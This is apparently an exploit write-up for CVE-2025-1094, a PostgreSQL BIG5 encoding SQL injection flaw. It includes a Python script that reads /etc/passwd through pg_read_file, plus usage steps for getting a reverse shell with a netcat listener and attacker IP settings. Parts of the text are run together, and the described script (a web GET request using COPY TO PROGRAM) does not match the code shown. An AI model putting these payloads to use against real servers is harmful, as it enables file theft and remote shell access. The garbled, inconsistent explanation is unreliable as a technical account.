
It is an input sanitization flaw caused by an encoding mismatch, allowing crafted input to bypass filters. If a server is vulnerable, an attacker can inject malicious SQL that the backend executes.
#I have written this exploit with reference to the PoC available at CVE-2025-1094
CVE‑2025‑1094 is an input sanitization vulnerability in PostgreSQL’s libpq escape functions and the psql interactive tool. It stems from the improper handling of multi-byte encodings when the client encoding is set to BIG5. Under certain conditions, this can lead to the mishandling of escape characters, allowing attackers to bypass intended query boundaries.
This vulnerability was discovered by Rapid7 during analysis of CVE‑2024‑12356, a separate issue in BeyondTrust appliances. The PostgreSQL behavior was exploited as part of a broader chained vulnerability to further influence backend behavior.
When a web server or application passes user input directly into SQL queries executed through psql, and the client_encoding is set to , specially crafted input can terminate a SQL statement early and append malicious SQL.
BIG5This allows for additional operations such as reading local files (e.g., /etc/passwd) via PostgreSQL’s lo_export, pg_read_file, or similar functions.
This is not a remote code execution (RCE) vulnerability in PostgreSQL by default. Rather, it is a misuse of PostgreSQL client APIs that, when improperly filtered or escaped, can be abused to leak sensitive file contents or potentially execute dangerous SQL.
COPY TO, pg_read_file, or lo_export when combined with SQL injection in client applications.BIG5 and input is not properly sanitized.client_encoding=BIG5.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ What Does This Exploit.py do:
Sets PGCLIENTENCODING=BIG5 in the environment (trigger condition).
Crafts an SQL injection payload to break out of a query and insert a new COPY TO PROGRAM command.
Sends the payload via a GET request to the vulnerable web server (/search?q=...).
If the backend uses psql and unsanitized input, the COPY TO PROGRAM executes and writes the result or opens a shell.
⚠️ The reverse shell will only succeed if the server:
Executes SQL using psql (not parameterized DB drivers)
Allows COPY TO PROGRAM (requires superuser)
Has outbound connectivity to the attacker
#The Python script sends a specially crafted payload to a vulnerable web server that passes input directly to a PostgreSQL psql process with BIG5 encoding: Steps to Use:
Start a listener on the terminal:
nc -lvnp 4444
Edit the exploit script:
Set TARGET_URL to the target server’s IP or domain. Confirm the ENDPOINT matches the route (e.g., /search). Adjust REVERSE_IP and REVERSE_PORT to match your attack box.
Execute the script in Different Terminal :
python3 exploit.py
Result: If successful, you will receive a connection on your listener. If not, try reading files (e.g., /etc/passwd) using pg_read_file payloads instead.
To test this:
EUC_TW or similar encoding.psql or unescaped dynamic SQL.pg_read_file or lo_export.client_encoding=BIG5 unless explicitly needed.